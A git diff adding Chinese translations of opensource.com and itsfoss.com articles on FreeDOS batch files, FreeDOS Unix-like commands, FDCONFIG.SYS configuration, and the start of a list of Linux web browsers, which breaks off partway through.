+``` + +FreeDOS 的 `ECHO` 命令会控制当你运行一个批处理文件时在屏幕上显示的东西。例如,这里是一个简单是单行批处理文件: + +``` +ECHO Hello world +``` + +如果你创建这个文件并运行它,你将看到在屏幕上显示的句子。从命令行中完成这项操作的最快的方法是:使用 `COPY` 命令来从你的键盘中(`CON`)获取输入,并将其放置到文件 `TEST1.BAT` 之中。接下来,按下组合键 `Ctrl+Z` 来停止复制过程,按下你键盘上的 `Return` 或 `Enter` 按键来返回一个提示。 + +在你的临时目录中尝试创建这个文件为 `TEST1.BAT` ,接下来运行它: + +``` +C:\TEMP>COPY CON TEST1.BAT +CON => TEST1.BAT +ECHO Hello world +^Z + +C:\TEMP>TEST1 +Hello world +``` + +当你想要显示一段文本时,这可能很有用。例如,在一个程序完成它的任务时,你可能会在你的屏幕上看到一条告诉你需要等待的消息,或者在一个网络环境中时,你可能会看到一条登录消息。 + +如果你想要显示一个空行怎么办?你可能会认为 `ECHO` 命令本身就可以达到目的,但是单独一个 `ECHO` 命令只会询问 FreeDOS 来响应 `ECHO` 是打开还是关闭: + +``` +C:\TEMP>ECHO +ECHO is on +``` + +获取一个空白行的方法是在 `ECHO`后紧接着使用一个 `+`符号: + +``` +C:\TEMP>ECHO+ + +C:\TEMP> +``` + +### 批处理文件变量 + +变量是一个存储你需要你的批处理文件临时记住的信息的位置。这是编程的一个重要的功能,因为你不能总是知道你的批处理文件需要使用什么样的数据。这里有一个用于演示的简单示例。 + +创建 `TEST3.BAT` : + +``` +@MD BACKUPS +COPY %1 BACKUPS\%1 +``` + +变量是使用百分比符号和随后的数字表示的,因此,这个批处理文件将在你的当前目录中创建一个 `BACKUPS` 子目录,然后将复制变量 `%1` 到 `BACKUPS` 文件夹之中。这个变量是什么?当你运行批处理文件时,变量由你决定: + +``` +C:\TEMP>TEST3 TEMP1.BAT +TEST1.BAT => BACKUPS\TEST1.BAT +``` + +你的批处理文件已经复制 `TEST1.BAT` 到一个名称为 `BACKUPS` 的子目录,因为在你运行批处理文件时,你标识这个文件为一个参数。你的批处理文件将把 `%1` 替换为 `TEST1.BAT` 。 + +变量是按位置的。变量 `%1` 是你提供给命令的第一个参数,变量 `%2` 是第二个参数,以此类推。假设你创建一个批处理文件来列出一个目录的内容: + +``` +DIR %1 +``` + +尝试运行它: + +``` +C:\TEMP>TEST4.BAT C:\HOME +ARTICLES +BIN +CHEATSHEETS +GAMES +DND +``` + +这像预期一样的工作。但是下面这个却失败了: + +``` +C:\TEMP>TEST4.BAT C:\HOME C:\DOCS +ARTICLES +BIN +CHEATSHEETS +GAMES +DND +``` + +如果你尝试它,你将得到第一个参数(`C:\HOME`)的列表,而得不到第二个参数(`C:\DOCS`)的列表。这是因为你的批处理文件仅查找一个变量(`%1`),此外,`DIR` 命令也仅能获取一个目录。 + +此外,当你运行一个批处理文件时,你也不需要为其具体指定扩展名 —— 除非你运气相当不好地为批处理文件选取了一个与 FreeDOS 外部命令或类似命令相同的名称。当 FreeDOS 执行命令时,它按下面的顺序执行: + + 1. 内部命令 + 2. 带有 *.COM 扩展名的外部命令 + 3. 带有 *.EXE 扩展名的外部命令 + 4. 批处理文件 + +### 多个参数 + +好的,选择重新编写 `TEST4.BAT` 文件来使一个命令可以获取两个参数,以便你可以看到这是如何工作的。首先,使用 `EDIT` 应用程序来创建一个简单的名称为 `FILE1.TXT` 的文本文件。在其中放置一段某种类型(例如,“Hello world”)的语句,并在你的 `TEMP` 工作目录中保存文件。 + +接下来,使用 `EDIT` 来更改你的 `TEST4.BAT` 文件: + +``` +COPY %1 %2 +DIR +``` + +保存它,然后执行命令: + +``` +C:\TEMP\>TEST4 FILE1.TXT FILE2.TXT +``` + +在运行你的批处理文件时,你会看一个你的 `TEMP` 目录的目录列表。在列出的文件之中,你有 `FILE1.TXT` 和 `FILE2.TXT` ,它们是由你的批处理文件所创建的。 + +### 嵌套批处理文件 + +批处理文件的另一个功能是能够 “嵌套” ,这意味着一个批处理文件可以在另外一个批处理文件中被调用和运行。为查看这是如何工作的,从一对简单的批处理文件开始: + +第一个文件被称为 `NBATCH1.BAT` : + +``` +@ECHO OFF +ECHO Hello +CALL NBATCH2.BAT +ECHO world +``` + +第一行 (`@ECHO OFF`) 轻轻地告诉批处理文件在你运行它时仅显示命令 (而不是命令本身) 的输出。你可能会在前面的示例中注意到这里有很多关于批处理文件正在做什么的反馈;在这种情况下,你正在允许你的批处理文件仅显示结果。 + +第二个批处理被称为 NBATCH2.BAT : + +``` +echo from FreeDOS +``` + +使用 `EDIT` 来创建这两个文件,并在你的 TEMP 子目录中保存它们。运行 `NBATCH1.BAT` 来查看会发生什么: + +``` +C:\TEMP\>NBATCH1.BAT +Hello +from FreeDOS +world +``` + +你的第二个批处理文件将在第一个批处理文件之中通过 `CALL` 命令来执行,它将提供在你 “Hello world” 信息中间的字符串 “from FreeDOS” 。 + +### FreeDOS 脚本 + +编写你自己的简单程序来自动执行通常需要大量输入的任务的批处理文件,是一种极好的方法。你使用的 FreeDOS 越多, 你将越熟悉它的命令,在你熟知命令后,在一个批处理文件中列出它们仅是一件使你的 FreeDOS 系统让你生活轻松的事情。尝试一下! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/batch-files-freedos + +作者:[Kevin O'Brien][a] +选题:[lujun9972][b] +译者:[robsean]](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ahuka +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) +[2]: https://www.freedos.org/ +[3]: https://opensource.com/article/21/2/freedos-commands-you-need-know +[4]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-15-introduction-to-batch-files/ +[5]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-17-batch-file-variables-nested-batch-files/ diff --git a/published/202112/20210603 FreeDOS commands for Linux fans.md b/published/202112/20210603 FreeDOS commands for Linux fans.md new file mode 100644 index 0000000000..5c21d79fb3 --- /dev/null +++ b/published/202112/20210603 FreeDOS commands for Linux fans.md @@ -0,0 +1,178 @@ +[#]: subject: (FreeDOS commands for Linux fans) +[#]: via: (https://opensource.com/article/21/6/freedos-linux-users) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14092-1.html) + +为 Linux 用户准备的 FreeDOS 命令 +====== + +> 如果你已经熟悉了 Linux 命令行,尝试这些命令有助于轻松地进入 FreeDOS 。 + +![](https://img.linux.net.cn/data/attachment/album/202112/18/102331ubkem265eqz6u1mk.jpg) + +如果你已经尝试过 FreeDOS ,你可能已经被命令行所吓倒。DOS 命令可能稍微不同于你所使用的 Linux 命令行,因此,使用它的命令行上需要学习一些新的命令。 + +但是对于 Linux 用户来说,它不是一种 “全新的” 体验。在 FreeDOS 中,除了 DOS 命令之外,我们还包含一些已经熟悉的标准的 Unix 命令。因此,如果你已经熟悉了 Linux 命令行,尝试这些命令有助于轻松地进入 FreeDOS : + +### 在四周走走 + +在 FreeDOS 文件系统中使用 `cd` 命令来 _更改目录_ 。在 FreeDOS 上的用法在 Linux 上的用法基本相同。要更改到一个名称为 `apps` 的子目录,输入 `cd apps` 。要回到先前的目录,输入 `cd ..` 。 + +在 FreeDOS 上导航浏览目录和路径是仅有的不同点,目录分隔符是 `\`(“反斜杠”)而不是你在 Linux 上使用的 `/` (“正斜杠”)。例如,让我们假设你在 `\devel` 目录之中,你想移动到 `\fdos` 目录。这两个目录相对于 _根_ 目录而言是处于相同的 “层次” 之中的。因此,你可以输入 `cd ..\fdos` 来 “向后返回” 一个目录层次(使用 `..`) ,然后再 “转到” `fdos` 目录。 + +要更改到一个新的目录,你可以使用先前提到的反斜杠来替换需要给出的完整的路径。如果你已经深入了另外一个路径之中,并且只是像立即切换到新的位置,那么这会是非常方便的。例如,要更改到 `\temp` 目录,你可以输入 `cd \temp` 。 + +``` +C:\>cd apps +C:\APPS>cd .. +C:\>cd devel +C:\DEVEL>cd ..\fdos +C:\FDOS>cd \temp +C:\TEMP>_ +``` + +在 FreeDOS 中,像大多数的 DOS 系统一样,你可以在DOS 提示符中看到你的当前路径。在 Linux 上,你的提示符可能类似于 `$` 。在 FreeDOS 上,提示符会列出当前的驱动器及其当前的路径,接下来使用 `>` 作为提示符(看做 Linux 上的 `$`)。 + +### 列出和显示文件 + +在 Linux 上,列出当前目录中文件的标准命令是 `ls` 命令。在 FreeDOS ,它是一个不同的命令: `dir` 。但是你可以创建一个 _别名_ 来获取一种与 `ls` 类似的行为。 + +要为另外一个命令创建一个别名,使用内置的 `alias` 命令。例如,使用此命令来为 `ls` 定义一个别名,这个别名将显示一个目录列表,与在 Linux 上使用 `ls` 类似: + +``` +C:\>alias ls=dir /one /w /b /l +C:\>ls +[apps] command.com [devel] fdauto.bat fdconfig.sys +[fdos] kernel.sys [src] [temp] +C:\> +``` + +在 FreeDOS 上的命令选项格式与 Linux 稍微不同。在 Linux 上, 你使用一个连字符号(`-`)表示选项。但是在 FreeDOS 上,你使用一个正斜杠来表示选项。上面的 `alias` 命令使用斜杆杠字符 — 它们是 `dir` 的选项。`/one` 可选择项告诉 `dir` 以某种方式排序(`o`):先按名称(`n`)再按扩展名(`e`)来排序一些文件和目录。`/w` 使用一个 “宽” 目录列表,`/b` 使用一种不带有 `dir` 通常提供的其它信息的 “裸” 显示,`/l` 指示 `dir` 以小写字母的形式显示文件和目录。 + +注意,针对于 FreeDOS 的 `dir` 命令的命令行选项与针对于 Linux 的 `ls` 命令的命令行选项截然不同,因此,你不能像你在 Linux 上一样精确地使用这个 `ls` 别名。例如,在 FreeDOS 上使用此别名输入 `ls -l` 将产生一条 “文件未找到” 的错误,因为底层的 FreeDOS 的 `dir` 命令不能找到一个名称为 `-l` 的文件。不过,对于基本的 “查看在我的系统上有哪些文件” 来说,这个 `ls` 别名已经足够帮助 Linux 用户开始使用 FreeDOS 了。 + +类似地,你可以为 FreeDOS 的 `type` 命令创建一个别名,来像 Linux 的 `cat` 命令一样工作。两个重新都会显示一个文本文件的内容。虽然 `type` 不支持你可能在 Linux 下使用的命令行选项,但是显示一单个文件的基本用法是相同的。 + +``` +C:\FDOS>alias cat=type +C:\FDOS>cat version.fdi +PLATFORM=FreeDOS +VERSION=1.3-RC4 +RELEASE=2021-04-30 +C:\FDOS> +``` + +### 其它的类 Unix 命令 + +FreeDOS 包含一些精选的其它常见的类 Unix 命令,因此 Linux 用户将不会感觉到拘束。为在 FreeDOS 上使用这些 Linux 命令,你可能需要从 “FreeDOS Installer” - “My Package List Editor Software (FDIMPLES)” 软件包管理器来安装 “Unix Like Tools” 软件包。 + +![Installing the Unix-like package set][2] + +(Jim Hall, CC-BY SA 4.0) + +并不是所有的类 Unix 实用程序都能像在 Linux 上对应的实用程序一样 _一致地_ 工作。这就是我们称其为 _类 Unix_ 的原因。如果你将要使用一些深层次的命令行选项,你可能需要检查其兼容性,不过,对于典型的用法是没有问题的。开始在 FreeDOS 上使用这些类 Unix 命令: + +`cal` 命令是标准的 Unix 的日历程序。例如,为显示当前月份的日历,只需要输入 `cal` 。为查看一个具体指定的月份,将月份和年份作为参数予以给定: + +``` +C:\>cal 6 1994 + + June 1994 +Su Mo Tu We Th Fr Sa + 1 2 3 4 + 5 6 7 8 9 10 11 +12 13 14 15 16 17 18 +19 20 21 22 23 24 25 +26 27 28 29 30 +``` + +使用 `du` 命令来查看你的磁盘使用情况。这是 Linux 的 `du` 命令的简单版本,并且不支持路径以外的任何命令行选项。 + +``` +C:\>du -s apps +usage: du (start path) +C:\>du apps + 158784 C:\APPS\FED + 0 C:\APPS +Total from C:\APPS is 158784 +C:\> +``` + +`head` 命令显示一个文件的前几行。例如,这是一种确定一个文件是否包含正确数据的简单方法。 + +``` +C:>head fdauto.bat +@ECHO OFF +set DOSDIR=C"\FDOS +set LANG=EN +set TZ=UTC +set PATH=%dosdir%\BIN +if exist %dosdir%\LINKS\NUL set PATH=%path%;%dosdir%\LINKS +set NLSPATH=%dosdir%\NLS +set HELPPATH=%dosdir%\HELP +set TEMP=%dosdir%\TEMP +set TMP=%TEMP% +C:\> +``` + +要查看一个完整的文件,使用 `more` 命令,在 FreeDOS 上的默认文件查看器。这将一次显示一屏的文件,然后在显示下一屏的信息前,打印一个按下一次按键的提示。`more` 命令是一个非常简单的文件查看器;在 Linux 上你可能已经使用过一个功能更全面的查看器,可以尝试一下 `less` 命令。`less` 命令提供 “向后” 滚动一个文件的能力,以防你错过一些东西。你还可以搜索具体指定的文本。 + +``` +C:\>less fdauto.bat +@ECHO OFF +set DOSDIR=C"\FDOS +set LANG=EN +set TZ=UTC +set PATH=%dosdir%\BIN +if exist %dosdir%\LINKS\NUL set PATH=%path%;%dosdir%\LINKS +set NLSPATH=%dosdir%\NLS +set HELPPATH=%dosdir%\HELP +set TEMP=%dosdir%\TEMP +set TMP=%TEMP% +[...] +``` + +如果在你的程序路径变量(`PATH`)中有很多的目录,并且不确定某个程序是从哪里运行的,你可以使用 `which` 命令。这个命令将扫描程序路径变量,并且将打印出你正在查找的程序的完整的位置。 + +``` +C:\>which less +less C:\>FDOS\BIN\LESS.EXE +C:\>_ +``` + +FreeDOS 1.3 RC4 包含其它的类 Unix 命令,你可能会在其它更特殊的情况下使用。这些命令包括: + + * `bc`:任意精度数字处理语言 + * `sed`:流编辑器 + * `grep` 和 `xgrep`:使用正则表达式搜索一个文本文件 + * `md5sum`:生成一个文件的一个 MD5 签名 + * `nro`:简单排版,使用 nroff 宏 + * `sleep`:暂停系统几秒钟 + * `tee`:保存一个命令行流的副本 + * `touch`:修改一个文件的时间戳 + * `trch`:转换单个字符(像 Linux 的 `tr` 一样) + * `uptime`:报告你 FreeDOS 系统已经运行多长的时间 + +### 在你控制下的 FreeDOS + +FreeDOS ,像 Linux 和 BSD 一样,是开源的。不管你是想通过学习一种新的命令行交互方式来挑战你自己,还是想再去熟悉令人舒适的类 Unix 工具,FreeDOS 都是一款有趣的值得尝鲜的操作系统。尝试一下! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-linux-users + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/freedos-fish-laptop-color.png?itok=vfv_Lpph (FreeDOS fish logo and command prompt on computer) +[2]: https://opensource.com/sites/default/files/uploads/unix-like.png (Installing the Unix-like package set) diff --git a/published/202112/20210609 Configure FreeDOS in plain text.md b/published/202112/20210609 Configure FreeDOS in plain text.md new file mode 100644 index 0000000000..8051f14e7c --- /dev/null +++ b/published/202112/20210609 Configure FreeDOS in plain text.md @@ -0,0 +1,174 @@ +[#]: subject: (Configure FreeDOS in plain text) +[#]: via: (https://opensource.com/article/21/6/freedos-fdconfigsys) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14061-1.html) + +FreeDOS 配置指南 +====== + +> 学习如何使用 FDCONFIG.SYS 来配置 FreeDOS 。 + +![](https://img.linux.net.cn/data/attachment/album/202112/08/124646wahca435y60acpha.jpg) + +FreeDOS 是主配置文件是在根目录中的名称为 `FDCONFIG.SYS` 的文件。这个文件包含一系列的行,每行都设置一个诸如 `LASTDRIVE=Z` 或 `FILES=40` 的值。例如,在 FreeDOS 1.3 RC4 中的默认 `FDCONFIG.SYS` ,看起来像这样: + +``` +SET DOSDIR=C:\FDOS + +!COUNTRY=001,858,C:\FDOS\BIN\COUNTRY.SYS +!LASTDRIVE=Z +!BUFFERS=20 +!FILES=40 +!MENUCOLOR=7,0 + +MENUDEFAULT=1,5 +MENU 1 - Load FreeDOS with JEMMEX, no EMS (most UMBs), max RAM free +MENU 2 - Load FreeDOS with JEMM386 (Expanded Memory) +MENU 3 - Load FreeDOS low with some drivers (Safe Mode) +MENU 4 - Load FreeDOS without drivers (Emergency Mode) + +12?DOS=HIGH +12?DOS=UMB +12?DOSDATA=UMB +1?DEVICE=C:\FDOS\BIN\JEMMEX.EXE NOEMS X=TEST I=TEST NOVME NOINVLPG +234?DEVICE=C:\FDOS\BIN\HIMEMX.EXE +2?DEVICE=C:\FDOS\BIN\JEMM386.EXE X=TEST I=TEST I=B000-B7FF NOVME NOINVLPG +34?SHELL=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT +12?SHELLHIGH=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT +``` + +但是,这些指令行都表示什么意思?为什么一些指令行有一个问号(`?`)或一个叹号(`!`),而其它的命令行却没有? + +### 一个简单的配置 + +让我们从一个简单的配置开始,像这样,我们就可以看到我们的配置做了什么。做出这个非常简单的 `FDCONFIG.SYS` 文件: + +``` +LASTDRIVE=Z +BUFFERS=20 +FILES=40 +DEVICE=C:\FDOS\BIN\HIMEMX.EXE +SHELL=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT +``` + +这个配置文件仅包含几个指令: + + 1. `LASTDRIVE=Z` + 2. `BUFFERS=20` + 3. `FILES=40` + 4. `DEVICE=C:\FDOS\BIN\HIMEMX.EXE` + 5. `SHELL=C:\FDOS\BIN\COMMAND.COM C:\FDOS\BIN /E:1024 /P=C:\FDAUTO.BAT` + +第一行指令告诉 FreeDOS 在存储器中保留多少驱动器字母。(DOS 使用字母来表示附属于系统的每个驱动器,`LASTDRIVE=Z` 表示预留从 `A` 到 `Z` 的所有驱动器字母)。 `LASTDRIVE` 会影响系统可以识别的 _逻辑驱动器_ 的数量。你可能没有任何的逻辑驱动器;FreeDOS 安装器不会默认设置这些逻辑驱动器。在任何情况下,在任何 FreeDOS 系统上设置 `LASTDRIVE=Z` 都是没有害处的。 + +`BUFFERS` 行设置文件缓冲区预留存储器。_缓冲区_ 有助于加速某些需要存储空间的进程,例如复制文件。如果你为 `BUFFERS` 设置一个较大的值,那么 FreeDOS 将预留更多的存储器。同理反之。大多数的用户将会设置其为 `BUFFERS=20` 或 `BUFFERS=40` ,取决于他们在系统上读写文件的频率。 + +`FILES` 设置决定 DOS 允许你一次打开多少文件。如果你运行的一个应用程序需要一次打开很多文件,例如打开一个谱系数据库,你可能需要为 `FILES` 设置一个较大的值。对于大多数的用户来说,`FILES=40` 是一个合理的值。 + +`DEVICE` 是一个特殊的指令,用于加载 _设备驱动器_ 。DOS 需要针对某些硬件或配置文件的设备驱动器。这行 `DEVICE=C:\FDOS\BIN\HIMEMX.EXE` 来加载 _HimemX_ 设备驱动,这样,DOS 可以利用超出前 640 KB 的扩展存储器。 + +最后的指令行告诉 FreeDOS 的内核在哪里找到命令行 shell 。默认情况下,内核将从 `COMMAND.COM` 开始查找 shell ,但是你可以使用 `SHELL` 指令来更改它。在这个示例中, `SHELL=C:\FDOS\BIN\COMMAND.COM` 说明 shell 是 `COMMAND.COM` 程序,位于 `C` 驱动器上的 `\FDOS\BIN` 目录之中。 + +在 `SHELL` 结尾处的其它文件表示选项为 `COMMAND.COM` 的 shell 。FreeDOS 的 `COMMAND.COM` 支持一些启动选项来修改它的行为,包括: + + * `C:\FDOS\BIN`:`COMMAND.COM` 程序的完整的路径 + * `/E:1024`:环境(`E`)大小,以字节为单位。`/E:1024` 告诉 `COMMAND.COM` 来预留 1024 字节,或者说是 1 KB ,来存储它的环境变量。 + * `/P=C:\FDAUTO.BAT`:`/P` 选项表示 shell 是一个永久性的(`P`)shell ,因此用户不能通过输入 `EXIT` 来退出 shell(附加文本 `=C:\FDAUTO.BAT` 告诉 `COMMAND.COM` 在启动时执行 `C:\FDAUTO.BAT` 文件,而不再执行默认的 `AUTOEXEC.BAT` 文件) + +通过这个简单的配置文件,你应该能够理解 FreeDOS 1.3 RC4 安装的 `FDCONFIG.SYS` 文件中的一些东西。 + +### 启动菜单 + +FreeDOS 支持一种有序的功能:在一个系统上使用多个配置文件,使用一个“启动菜单”来选择你想要的配置。`FDCONFIG.SYS` 文件包含一些定义菜单的行: + +``` +!MENUCOLOR=7,0 + +MENUDEFAULT=1,5 +MENU 1 - Load FreeDOS with JEMMEX, no EMS (most UMBs), max RAM free +MENU 2 - Load FreeDOS with JEMM386 (Expanded Memory) +MENU 3 - Load FreeDOS low with some drivers (Safe Mode) +MENU 4 - Load FreeDOS without drivers (Emergency Mode) +``` + +`MENUCOLOR` 指令定义启动菜单的文本颜色和背景颜色。这些值通常在 0 到 7 的范围之内, 并代表这些颜色: + + * 0 黑色 + * 1 蓝色 + * 2 绿色 + * 3 品蓝 + * 4 红色 + * 5 品红 + * 6 棕色 + * 7 白色 + +因此,`MENUCOLOR=7,0` 的定义意味着显示一个黑色背景(`0`)白色文本(`7`)的菜单。如果你想使用一个蓝色背景白色文本,你可以将其定义为 `MENUCOLOR=7,1` 。 + +在行头部的叹号(`!`)意味着:不管你选择哪个菜单,这个指令都将会执行。 + +`MENUDEFAULT=1,5` 行告诉内核等待用户多长时间来选择启动菜单项,或者如果用户没有选择的话,使用那个默认菜单项。`MENUDEFAULT=1,5` 标示着系统将等待 `5` 秒钟;如果用户不在这段时间内尝试选择一个菜单的话,内核将选择启动菜单 “1” 。 + +![boot menu][2] + +在其后的 `MENU` 行至不同启动菜单配置的标签。它们是按顺序排列的,因此,菜单项目 “1” 是第一个,接下来的 “2” 是第二个,以此类推。 + +![menu select 4][3] + +在 `FDCONFIG.SYS` 中的接下来的一行中,你将在一个问号(`?`)前看到一些数字。这标示“针对这几个数字的启动菜单项,使用这行命令”。例如,如果用户选择启动菜单项 “2”、“3” 或 “4” 的话,那么带有 `234?` 的这行命令才将加载 HimemX 设备驱动器。 + +``` +234?DEVICE=C:\FDOS\BIN\HIMEMX.EXE +``` + +这里有很多方法来使用 `FDCONFIG.SYS` 以配置你的 FreeDOS 系统。我们在这里只介绍基本的东西,最重用的方法是定义你的 FreeDOS 内核设置。更多的信息,探索 FreeDOS 帮助系统(在命令行中输入 `HELP`)来学习如何使用 FreeDOS 的 `FDCONFIG.SYS` 选项: + + * `SWITCHES`:启动时处理过程行为 + * `REM` 和 `;`:注释(在 `FDCONFIG.SYS` 中将被忽略) + * `MENUCOLOR`:启动菜单文本颜色和背景颜色 + * `MENUDEFAULT`:启动菜单默认值 + * `MENU`:启动菜单选项 + * `ECHO` 和 `EECHO`:显示信息 + * `BREAK`:设置打开或关闭扩展的 `Ctrl+C` 检查 + * `BUFFERS` 或 `BUFFERSHIGH`:分配多少磁盘缓冲区 + * `COUNTRY`:设置国际化行为 + * `DOS`:告诉 FreeDOS 内核如何将其自身加载到存储器之中 + * `DOSDATA`:告诉 FreeDOS 加载内核到上位存储器之中 + * `FCBS`:设置文件控制块(FCB)的数量 + * `KEYBUF`:在存储器中重新指定键盘缓冲区 + * `FILES` 或 `FILESHIGH`:一次可以打开多少个文件 + * `LASTDRIVE` 或 `LASTDRIVEHIGH`:设置可以使用的最后一个驱动器字母 + * `NUMLOCK`:设置打开或关闭键盘数字锁 + * `SHELL`、`SHELLHIGH` 或 `COMMAND`:设置命令行 shell + * `STACKS` 或 `STACKSHIGH`:添加堆栈以处理硬件中断 + * `SWITCHAR`:重新定义命令行选项开关字符 + * `SCREEN`:设置在屏幕上的行数 + * `VERSION`:设置向程序报告的 DOS 版本 + * `IDLEHALT`:激活节能功能,在某些系统上有用 + * `DEVICE` 和 `DEVICEHIGH`:加载一个驱动程序到存储器之中 + * `INSTALL` 和 `INSTALLHIGH`:加载一个 “存储器驻留”(TSR)程序 + * `SET`:设置一个 DOS 环境变量 + +### 以纯文本方式配置 FreeDOS + +像 Linux 和 BSD 一样,FreeDOS 配置以纯文本的方式进行。不需要特殊指定的编辑工具,因此,深入研究,看看哪些选项最适合你。它很简单,但是功能很强大! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-fdconfigsys + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/sites/default/files/uploads/boot-menu.png (The boot menu waits for 5 seconds before assuming menu item 1) +[3]: https://opensource.com/sites/default/files/uploads/menu-select4.png (Use the arrow keys to select a boot menu configuration) diff --git a/published/202112/20210902 Best Web Browsers for Ubuntu and Other Linux Distributions.md b/published/202112/20210902 Best Web Browsers for Ubuntu and Other Linux Distributions.md new file mode 100644 index 0000000000..546a67c669 --- /dev/null +++ b/published/202112/20210902 Best Web Browsers for Ubuntu and Other Linux Distributions.md @@ -0,0 +1,343 @@ +[#]: subject: "Best Web Browsers for Ubuntu and Other Linux Distributions" +[#]: via: "https://itsfoss.com/best-browsers-ubuntu-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14075-1.html" + +适用于 Linux 的最佳网页浏览器 +====== + +没有所谓的完美的网页浏览器。这完全取决于你喜欢什么以及你用它来做什么。 + +但对于 Linux 上的网页浏览器,你有哪些最佳选择呢? + +在这篇文章中,我试图给出你在 Ubuntu 和其他 Linux 系统上使用的最佳网页浏览器。 + +> **注:** 我们已经在 Ubuntu 上尝试和测试了这些浏览器。但是,你应该能够在你选择的任何 Linux 发行版上安装它。 + +### Linux 上的顶级网页浏览器 + +![][1] + +每个浏览器都有其独特之处。而且,对于 Linux 平台,也有一些有趣的独家选择。 + +在你看到这个列表之前,请注意这不是一个排名列表。列在第 1 位的浏览器不应该被认为比第 2 位、第 3 位或第 10 位的更好。 + +> **非自由开源软件警报!** +> +> 这里提到的一些应用程序不是开源的。它们被列在这里是因为它们在 Linux 上可用,而文章的重点是 Linux。我们也有一个单独的 [开源的网页浏览器的专门列表][2]。 + +### 1、Vivaldi + +![][3] + +**优点** + + * 可快速访问网页应用程序的侧边栏 + * 集成了日历和电子邮件 + * 独特的标签管理 + * Pomodoro 功能(时钟计时器) + * 有移动应用程序 + +**缺点** + + * 当使用各种功能时,资源占用很重 + * 不是 100% 开源的 + +[Vivaldi][5] 是一个令人印象深刻的浏览器,它越来越多地得到了 Linux 用户的关注。 + +虽然它不是 100% 开源的,但你可以在网上找到它的大部分源代码(除了它的用户界面)。 + +随着 [Vivaldi 4.0 的发布][4],他们更加注重改善 Linux 用户的体验。你可以设置时钟计时器以提高你的工作效率,使用内置翻译来翻译网页,跟踪你的日历活动,为网页应用程序添加快捷方式,并通过这个浏览器为多种任务发挥到极致。 + +即使它是一个快速的网页浏览器,我也不会觉得它是“最快”或最轻量级的。你需要大量的内存,才能在你工作时发挥它的所有的功能。 + +总之,它是一个功能丰富的网页浏览器。因此,如果你需要有尽可能多的功能来完成多种任务,Vivaldi 可以是你的选择。 + +#### 如何在 Linux 上安装 Vivaldi? + +Vivaldi 提供了 **.deb** 和 **.rpm** 两种软件包,让你可以直接在 Linux 系统中安装它。 + +如果你是 Linux 的新手,你可以参考我们的资源来 [安装 Deb 文件][6] 和 [安装 RPM 文件][7]。 + +### 2、Mozilla Firefox + +![][8] + +**优点** + + * 隐私保护 + * 不基于 Chrome 引擎 + * 开源 + * Firefox 帐户服务 + +**缺点** + + * 用户体验会随着重大更新而改变 + +[Firefox][9] 是大多数 Linux 发行版的默认网页浏览器。因此,它显然是一个开箱即用的浏览器。 + +除了是开源的,它还提供一些最好的隐私保护功能。而且,通过正确的设置,你可以把它变成类似于 Tor 浏览器(它也是基于 Firefox 的)这样的最安全的浏览器之一。 + +不仅仅是它的安全性,当你用你的 Firefox 账户登录时,它还集成了有用的功能,如 Pocket(保存网页并稍后阅读)、VPN、电子邮件别名、漏洞监控等。 + +#### 如何在 Linux 上安装 Firefox? + +它应该已经预装在你的 Linux 发行版中了。但是,如果它不存在,你可以在软件中心搜索它,或者用终端的以下命令来安装它: + +``` +sudo apt install firefox +``` + +### 3、Chromium + +![][10] + +**优点** + + * Chrome 浏览器的开源替代品 + * 与 Chrome 浏览器的功能相似 + +**缺点** + + * 缺少 Chrome 浏览器提供的某些功能 + +[Chromium][12] 是 Chrome 浏览器的开源替代品,也是许多其他基于 Chrome 的浏览器的基础。 + +如果你不想使用 Chrome 浏览器,Chromium 是你在 Linux 上获得相同体验的最佳选择。 + +尽管谷歌控制着 Chromium,并且 [一直锁定着 Chrome][11],但对于 Linux 系统来说,它是一个不错的选择。 + +#### 如何在 Linux 上安装 Chromium? + +你应该可以在软件中心轻松找到它。但是,如果你需要帮助,可以参考我们的 [Chromium 安装指南][13]。 + +### 4、谷歌 Chrome + +![][14] + +**优点** + + * 与谷歌服务的无缝整合 + +**缺点** + + * 不是开源的 + +[Chrome 浏览器][15] 是一个优秀的网页浏览器,除非你不想选择谷歌的专有解决方案或产品。 + 